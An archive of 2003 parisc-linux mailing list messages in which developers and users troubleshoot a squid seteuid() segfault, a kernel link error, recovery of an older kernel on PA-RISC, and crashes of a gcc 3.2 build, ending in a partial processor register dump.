From - Thu Nov 08 21:26:17 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: jsoe0708@tiscali.be
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Issues with seteuid()?
Date: Mon, 13 Jan 2003 11:19:40 +0100
Lines: 104
Approved: news@gmane.org
Message-ID: <3E1AA7C100000EF1@ocpmta7.freegates.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="ISO-8859-1"
Content-Transfer-Encoding: quoted-printable
X-Trace: ger.gmane.org 1416622106 19827 80.91.229.3 (22 Nov 2014 02:08:26 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:08:26 +0000 (UTC)
Cc: "Luigi Gangitano" <luigi@debian.org>,
	parisc-linux@lists.parisc-linux.org
To: "Randolph Chung" <tausq@debian.org>,
	"Matthew Wilcox" <willy@debian.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Jan 13 03:19:54 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from smtp-out.tiscali.be (spoolm3.tiscalinet.be [212.35.2.72])
	by dsl2.external.hp.com (Postfix) with ESMTP id 306B24829
	for <parisc-linux@lists.parisc-linux.org>; Mon, 13 Jan 2003 03:19:54 -0700 (MST)
Original-Received: from [62.235.14.106] (helo=mail.tiscali.be)
	by smtp-out.tiscali.be with esmtp (Tiscali) 
	id 18Y1h8-0002pF-00; Mon, 13 Jan 2003 11:19:50 +0100
Original-Received: from [193.75.200.4] by mail.tiscali.be with HTTP; Mon, 13 Jan 2003 11:19:40 +0100
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17365

Hi Randolph,

Being the author of bug report (and some other request on this ml about
subject), unfortunately I do not have test case. But what I can do is to
explain all what I did. I just grab squid-2.4.7-1 (hope still exist) and
rebuild as it is (check in rules that ac_cv_func_setresuid=3Dno).

Installed it and disabled the startup script (in case of reboot, it risks=

to make boot very slow).

I already noticed that the install procedure failled to create the spool
dir; dmesg would have to confirm you that squid do a segv. [ and there wa=
s
no squid process ]

What failled? In fact, the install script launched 'squid -z'.
It was interesting to launch it manually; the reason of the SEGV was more=

complete: fork failled because not enough memory available??

Well fork() failed... Searching in sources (MANY THANKS to RMS for FSF sp=
irit)
I find the place where fork() is used and what happened just before: acco=
rding
to configure param, it do first a setgroups(), setgid() then (in this cas=
e)
a seteuid() (function leave_suid() in src/tools.c).

So the problem seems to came from a kind of su. And I re-read Bach UNIX
bible to remember that one of the first think that do a su is to verify
that user memory is enough. In this case it considered that it was not th=
e
case?

So I tried to check if a real su presents the same problem. I let first
read access to the world for /etc/squid.conf (just for the test) and as
in the startup script 'ulimit -n 5120' (for example) then 'su - proxy'.

'ulimit -a' seems Ok.
Now, always as proxy user, relaunch 'squid -z' and ... it works.

I could be now quiet sure that the problem came from the setgroups(), set=
gid(),
seteuid(), fork() sequence used to switch user. Agree?

I first checked the value of the paramters transmitted to the seteuid()
which seem ok.

As I saw that the developper of squid foreseen other procedure to su, I
did so first investigate to use setreuid() (which seems to me also more
secure but I should be wrong?). As it was available, I test it and solved=

all the squid problem encounter since the begining: the creation of the
spool dir was now ok and the server worked fine. That is this final concl=
usion
that I transmitted as bug report near squid maintainer.

On this mailing list my question (<http://lists.parisc-linux.org/pipermai=
l/parisc-linux/2003-January/018801.html>)
was a bit wilder (I thought but wrongly):
is it a seteuid() [glic ?] or a fork() [kernel ?] problem?

Well that is only a summary a many other investigation and I hope this he=
lp
but if something is not clear or some other test would help you do not he=
sitate
to let me know,

Cheers,
    Joel


->> I wonder how it can be a problem at all.  The kernel ilements only
>> sys_setresuid() and i would imagine that glibc implements both
>> seteuid() and setresuid() in terms of this system call.
>>
>> Perhaps someone who's willing to touch glibc would care to comment?
>
>seteuid() works fine in simple tests. i don't think it's seteuid...
>something else is broken. can someone provide a simple test case for the=

>segfault?
>
>randolph
>--
>Randolph Chung
>Debian GNU/Linux Developer, hppa/ia64 ports
>http://www.tausq.org/
>_______________________________________________
>parisc-linux mailing list
>parisc-linux@lists.parisc-linux.org
>http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



*********************************************
Vous surfez toujours avec une ligne classique ?
Faites des economies avec Tiscali Complete...
Plus d'info sur ... http://complete.tiscali.be





From - Thu Nov 08 21:26:17 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: jsoe0708@tiscali.be
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: floating point exception error
Date: Mon, 13 Jan 2003 16:58:33 +0100
Lines: 54
Approved: news@gmane.org
Message-ID: <3E1AA7C100001093@ocpmta7.freegates.net>
References: <20030112083733.GE1177@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="ISO-8859-1"
Content-Transfer-Encoding: quoted-printable
X-Trace: ger.gmane.org 1416622106 19830 80.91.229.3 (22 Nov 2014 02:08:26 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:08:26 +0000 (UTC)
Cc: jim.hull@hp.com, parisc-linux@parisc-linux.org
To: "Randolph Chung" <randolph@tausq.org>,
	"John David Anglin" <dave@hiauly1.hia.nrc.ca>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Jan 13 08:59:10 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from smtp-out.tiscali.be (spoolm3.tiscalinet.be [212.35.2.72])
	by dsl2.external.hp.com (Postfix) with ESMTP id 6DF524829
	for <parisc-linux@parisc-linux.org>; Mon, 13 Jan 2003 08:59:10 -0700 (MST)
Original-Received: from [62.235.14.106] (helo=mail.tiscali.be)
	by smtp-out.tiscali.be with esmtp (Tiscali) 
	id 18Y6z7-00009f-00; Mon, 13 Jan 2003 16:58:45 +0100
Original-Received: from [193.75.200.4] by mail.tiscali.be with HTTP; Mon, 13 Jan 2003 16:58:33 +0100
In-Reply-To: <20030112083733.GE1177@tausq.org>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17366

>> I think that you probably should always use a 3-bit extract.  If the
>> value is greater than 3 on a PA 1.1 FPU, then the operation is undefin=
ed.
>> 4 is also undefined for PA 2.0.
>
>I guess that'll work, altho there are also some paths that are pcx-s and=

>pcx-t specific, so we probably still need to determine what processor we=

>are running on
>
>> The above assumes that the kernel doesn't provide PA 2.0 emulation
>> on PA 1.1 machines.
>
>yup, that should be a reasonable assumption.
>
>anyway, here's what i'm considering to commit to our kernel tree. it 
>has been tested to work with the fcnv code posted earlier. haven't 
>tested the other cases yet. it's very much a hack. comments?
>
Hi all,

I just update my kernel to -pa21 release do a 'make distclean' recover my=

previous .config then do 'make menuconfig' and finaly 'make dep; make vml=
inux'.

And it failled with following message:
`gcc -print-libgcc-file-name` /usr/src/linux-2.4.20-pa21/arch/parisc/lib/=
lib.a
/usr/src/linux-2.4.20-pa21/lib/lib.a  \
        --end-group \
        -o vmlinux
arch/parisc/math-emu/math.o(.text.handle_fpe+0x80): In function `handle_f=
pe':
: undefined reference to `printbinary'
arch/parisc/math-emu/math.o(.text.handle_fpe+0xcc): In function `handle_f=
pe':
: undefined reference to `printbinary'
make: *** [vmlinux] Error 1

What do I wrong?

Thanks in advance,
    Joel

*********************************************
Vous surfez toujours avec une ligne classique ?
Faites des economies avec Tiscali Complete...
Plus d'info sur ... http://complete.tiscali.be





From - Thu Nov 08 21:26:18 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: jsoe0708@tiscali.be
Newsgroups: gmane.linux.ports.parisc
Subject: RE: [parisc-linux] Cannot boot after installing kernel!
Date: Mon, 13 Jan 2003 17:16:34 +0100
Lines: 46
Approved: news@gmane.org
Message-ID: <3E1AA7C1000010A1@ocpmta7.freegates.net>
References: <001a01c2bab8$29127720$3e73a218@ko>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="ISO-8859-1"
Content-Transfer-Encoding: quoted-printable
X-Trace: ger.gmane.org 1416622106 19833 80.91.229.3 (22 Nov 2014 02:08:26 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:08:26 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org
To: "Marc Eisenbarth" <marc@centraltx.com>,
	"'Matthew Wilcox'" <willy@debian.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Jan 13 09:17:13 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from smtp-out.tiscali.be (spoolm2.tiscalinet.be [212.35.2.51])
	by dsl2.external.hp.com (Postfix) with ESMTP id 68E87482B
	for <parisc-linux@parisc-linux.org>; Mon, 13 Jan 2003 09:17:13 -0700 (MST)
Original-Received: from [62.235.14.106] (helo=mail.tiscali.be)
	by smtp-out.tiscali.be with esmtp (Tiscali) 
	id 18Y7Gr-0007vk-00; Mon, 13 Jan 2003 17:17:05 +0100
Original-Received: from [193.75.200.4] by mail.tiscali.be with HTTP; Mon, 13 Jan 2003 17:16:34 +0100
In-Reply-To: <001a01c2bab8$29127720$3e73a218@ko>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17367

>-- Original Message --
>From: "Marc Eisenbarth" <marc@centraltx.com>
>To: "'Matthew Wilcox'" <willy@debian.org>
>Cc: <parisc-linux@parisc-linux.org>
>Subject: RE: [parisc-linux] Cannot boot after installing kernel!
>Date: Sun, 12 Jan 2003 21:59:23 -0600
>
>
>Well, you were right about it taking a while to boot, but it still
>bombed on me... see below. Is there a way I can boot my previous kernel
>up again? 
>
You can always from your install support (cd or netinstall lifimage) whic=
h,
in the install menu (near the end), let you access to a shell.
You can create now a temp dir as /mnt/MYBOOT and mount your sd boot disk.=

If your old kernel still stand in /mnt/MYBOOT[/boot], note its name and
put it in the boot parameter (interupt the boot and answer y to interact
with ipl then 0 in palo bootprompt). After the boot completion you would
certainly have to reinstall old kernel package.

If your old kernel is not any more their, try to make the pkg available
on any ftp server, setup your network interface thanks to the above menti=
oned
"install menu" to access your ftp server. Mount also your boot disk in th=
e
/mnt/MYBOOT copy the kernel pkg into /mnt/MYBOOT/var/tmp (ie somewhere on=

your sd). Now 'chroot /mnt/MYBOOT' and dpkg -i /var/tmp/kernel-....deb.
Do not forget to exit chroot and umount /mnt/MYBOOT to be sure that fs we=
re
sync before reboot.

HTH,
    Joel


*********************************************
Vous surfez toujours avec une ligne classique ?
Faites des economies avec Tiscali Complete...
Plus d'info sur ... http://complete.tiscali.be





From - Thu Nov 08 21:26:19 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Randolph Chung <randolph@tausq.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: floating point exception error
Date: Mon, 13 Jan 2003 08:57:46 -0800
Lines: 7
Approved: news@gmane.org
Message-ID: <20030113165746.GA12986@tausq.org>
References: <20030112083733.GE1177@tausq.org> <3E1AA7C100001093@ocpmta7.freegates.net>
Reply-To: Randolph Chung <randolph@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622107 19836 80.91.229.3 (22 Nov 2014 02:08:27 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:08:27 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org
To: jsoe0708@tiscali.be
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Jan 13 10:01:16 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from pippin.tausq.org (gandalf.tausq.org [64.81.244.94])
	by dsl2.external.hp.com (Postfix) with ESMTP id 009494829
	for <parisc-linux@parisc-linux.org>; Mon, 13 Jan 2003 10:01:15 -0700 (MST)
Original-Received: by pippin.tausq.org (Postfix, from userid 1000)
	id 7C8C6CD3A7; Mon, 13 Jan 2003 08:57:46 -0800 (PST)
Content-Disposition: inline
In-Reply-To: <3E1AA7C100001093@ocpmta7.freegates.net>
User-Agent: Mutt/1.4i
X-PGP: for PGP key, see http://www.tausq.org/pgp.txt
X-GPG: for GPG key, see http://www.tausq.org/gpg.txt
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17368

> I just update my kernel to -pa21 release do a 'make distclean' recover my
> previous .config then do 'make menuconfig' and finaly 'make dep; make vmlinux'.

sorry, my bad. fixed now.

randolph


From - Thu Nov 08 21:26:19 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: jsoe0708@tiscali.be
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: floating point exception error
Date: Mon, 13 Jan 2003 18:16:59 +0100
Lines: 24
Approved: news@gmane.org
Message-ID: <3E1AA7C1000010CA@ocpmta7.freegates.net>
References: <20030113165746.GA12986@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="ISO-8859-1"
Content-Transfer-Encoding: quoted-printable
X-Trace: ger.gmane.org 1416622107 19844 80.91.229.3 (22 Nov 2014 02:08:27 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:08:27 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org
To: "Randolph Chung" <randolph@tausq.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Jan 13 10:17:12 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from smtp-out.tiscali.be (spoolm3.tiscalinet.be [212.35.2.72])
	by dsl2.external.hp.com (Postfix) with ESMTP id 7CD904829
	for <parisc-linux@parisc-linux.org>; Mon, 13 Jan 2003 10:17:12 -0700 (MST)
Original-Received: from [62.235.14.106] (helo=mail.tiscali.be)
	by smtp-out.tiscali.be with esmtp (Tiscali) 
	id 18Y8D0-0000pv-00; Mon, 13 Jan 2003 18:17:10 +0100
Original-Received: from [193.75.200.4] by mail.tiscali.be with HTTP; Mon, 13 Jan 2003 18:16:59 +0100
In-Reply-To: <20030113165746.GA12986@tausq.org>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17369

>> I just update my kernel to -pa21 release do a 'make distclean' recover=

>my
>> previous .config then do 'make menuconfig' and finaly 'make dep; make
vmlinux'.
>
>sorry, my bad. fixed now.
>
Hmm never the less printbinary() is well defined into arch/parisc/kernel/=
traps.c
so I do not understand why ld couldn't link it when building kernel?

Thanks again,
    Joel


*********************************************
Vous surfez toujours avec une ligne classique ?
Faites des economies avec Tiscali Complete...
Plus d'info sur ... http://complete.tiscali.be





From - Thu Nov 08 21:26:19 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Randolph Chung <randolph@tausq.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: floating point exception error
Date: Mon, 13 Jan 2003 09:16:16 -0800
Lines: 11
Approved: news@gmane.org
Message-ID: <20030113171616.GB12986@tausq.org>
References: <20030113165746.GA12986@tausq.org> <3E1AA7C1000010CA@ocpmta7.freegates.net>
Reply-To: Randolph Chung <randolph@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622107 19852 80.91.229.3 (22 Nov 2014 02:08:27 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:08:27 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org
To: jsoe0708@tiscali.be
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Jan 13 10:19:53 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from pippin.tausq.org (gandalf.tausq.org [64.81.244.94])
	by dsl2.external.hp.com (Postfix) with ESMTP id C23794829
	for <parisc-linux@parisc-linux.org>; Mon, 13 Jan 2003 10:19:53 -0700 (MST)
Original-Received: by pippin.tausq.org (Postfix, from userid 1000)
	id 1BDBECD3A7; Mon, 13 Jan 2003 09:16:16 -0800 (PST)
Content-Disposition: inline
In-Reply-To: <3E1AA7C1000010CA@ocpmta7.freegates.net>
User-Agent: Mutt/1.4i
X-PGP: for PGP key, see http://www.tausq.org/pgp.txt
X-GPG: for GPG key, see http://www.tausq.org/gpg.txt
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17370

> Hmm never the less printbinary() is well defined into arch/parisc/kernel/traps.c
> so I do not understand why ld couldn't link it when building kernel?

because it's static 

randolph
-- 
Randolph Chung
Debian GNU/Linux Developer, hppa/ia64 ports
http://www.tausq.org/


From - Thu Nov 08 21:26:19 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Bjoern A. Zeeb" <bzeeb-lists@lists.zabbadoz.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] modules and 2.5.5X
Date: Mon, 13 Jan 2003 17:53:47 +0000 (UTC)
Lines: 18
Approved: news@gmane.org
Message-ID: <Pine.BSF.4.44.0301131753050.1877-100000@e0-0.zab2.int.zabbadoz.net>
References: <20030104223301.B19239@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416622107 19862 80.91.229.3 (22 Nov 2014 02:08:27 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:08:27 +0000 (UTC)
Cc: Helge Deller <deller@gmx.de>, <parisc-linux@parisc-linux.org>
To: Matthew Wilcox <willy@debian.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Jan 13 11:03:51 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from transport.cksoft.de (transport.cksoft.de [62.111.66.27])
	by dsl2.external.hp.com (Postfix) with ESMTP id 101364829
	for <parisc-linux@parisc-linux.org>; Mon, 13 Jan 2003 11:03:51 -0700 (MST)
Original-Received: from localhost (localhost [127.0.0.1])
	by transport.cksoft.de (Postfix) with ESMTP
	id 391BD1FFF79; Mon, 13 Jan 2003 19:03:38 +0100 (CET)
Original-Received: by transport.cksoft.de (Postfix, from userid 66)
	id 761231FFF61; Mon, 13 Jan 2003 19:03:37 +0100 (CET)
Original-Received: by mail.int.zabbadoz.net (Postfix, from userid 1060)
	id 517701537A; Mon, 13 Jan 2003 17:53:47 +0000 (UTC)
Original-Received: from localhost (localhost [127.0.0.1])
	by mail.int.zabbadoz.net (Postfix) with ESMTP
	id 47F2315348; Mon, 13 Jan 2003 17:53:47 +0000 (UTC)
X-X-Sender: bz@e0-0.zab2.int.zabbadoz.net
In-Reply-To: <20030104223301.B19239@parcelfarce.linux.theplanet.co.uk>
X-Virus-Scanned: by AMaViS snapshot-20020300
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17371

On Sat, 4 Jan 2003, Matthew Wilcox wrote:

> On Thu, Jan 02, 2003 at 01:11:47AM +0100, Helge Deller wrote:
> > kernel module support for the 2.5 kernel on hppa seems broken due to some missing
> > support for this architecture in the new modutils and module-init-tools debian packages.
> >
> > Maybe someone with somewhat more expirience than me with the ELF file format and
> > runtime symbol relocation functions could look into this ?
>
> rusty's promised to do it when he gets access to a machine...

any outcomes or is the account a prob ?

-- 
Bjoern A. Zeeb				bzeeb at Zabbadoz dot NeT
56 69 73 69 74				http://www.zabbadoz.net/



From - Thu Nov 08 21:26:19 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: jsoe0708@tiscali.be
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] new gcc-default for hppa
Date: Mon, 13 Jan 2003 19:36:03 +0100
Lines: 358
Approved: news@gmane.org
Message-ID: <3E1AA7C1000010F1__34254.2479550049$1416622108$gmane$org@ocpmta7.freegates.net>
References: <20030110170905.GG26261@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="ISO-8859-1"
Content-Transfer-Encoding: quoted-printable
X-Trace: ger.gmane.org 1416622108 19870 80.91.229.3 (22 Nov 2014 02:08:28 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:08:28 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org, debian-hppa@lists.debian.org
To: "Randolph Chung" <tausq@debian.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Jan 13 11:36:17 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from smtp-out.tiscali.be (spoolm3.tiscalinet.be [212.35.2.72])
	by dsl2.external.hp.com (Postfix) with ESMTP id 2770C4829
	for <parisc-linux@lists.parisc-linux.org>; Mon, 13 Jan 2003 11:36:17 -0700 (MST)
Original-Received: from [62.235.14.106] (helo=mail.tiscali.be)
	by smtp-out.tiscali.be with esmtp (Tiscali) 
	id 18Y9RV-0006yU-00; Mon, 13 Jan 2003 19:36:13 +0100
Original-Received: from [193.75.200.4] by mail.tiscali.be with HTTP; Mon, 13 Jan 2003 19:36:03 +0100
In-Reply-To: <20030110170905.GG26261@tausq.org>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17372

>> I do notice that unstable debian for i386 switch (or will very soon)
gcc-default
>> to gcc-3.2. Is it also true for hppa? (am I anxious about compiling ne=
w
>> kernel with this because of pb encounter with network connection)
>
>yes:
>
>tausq@auric:~$ madison gcc|grep unstable
>       gcc |    2:3.1-1 |      unstable | hurd-i386
>       gcc |  3:3.2.2-0 |      unstable | alpha, arm, hppa, i386, ia64,
m68k,
>mips, mipsel, powerpc, s390, sparc
>

Well as mentionned in another mail, I just compile the 2.4.20-pa21 with
this new release and it always compile well, always boot well but also as=

soon as a network connection is tempted the system still crash.

And ? it just printout Stack Dump: (thousand time) but nothing more??
Do I do again something wrong?

never the less, Here I got the pim info:
PROCESSOR PIM INFORMATION

-----------------  Processor 0 HPMC Information ------------------

Timestamp =3D 
  Mon Jan  13 17:32:31 GMT 2003    (20:03:01:13:17:32:31)

HPMC Chassis Codes =3D 2cbf0  2500b  2cbfb  

General Registers 0 - 31
00-03   0000000000000000  0000000010340010  0000000010110850  00000000000=
000ff
04-07   0000000000000004  00000000000f4023  00000000103f7244  00000000103=
fa5c3
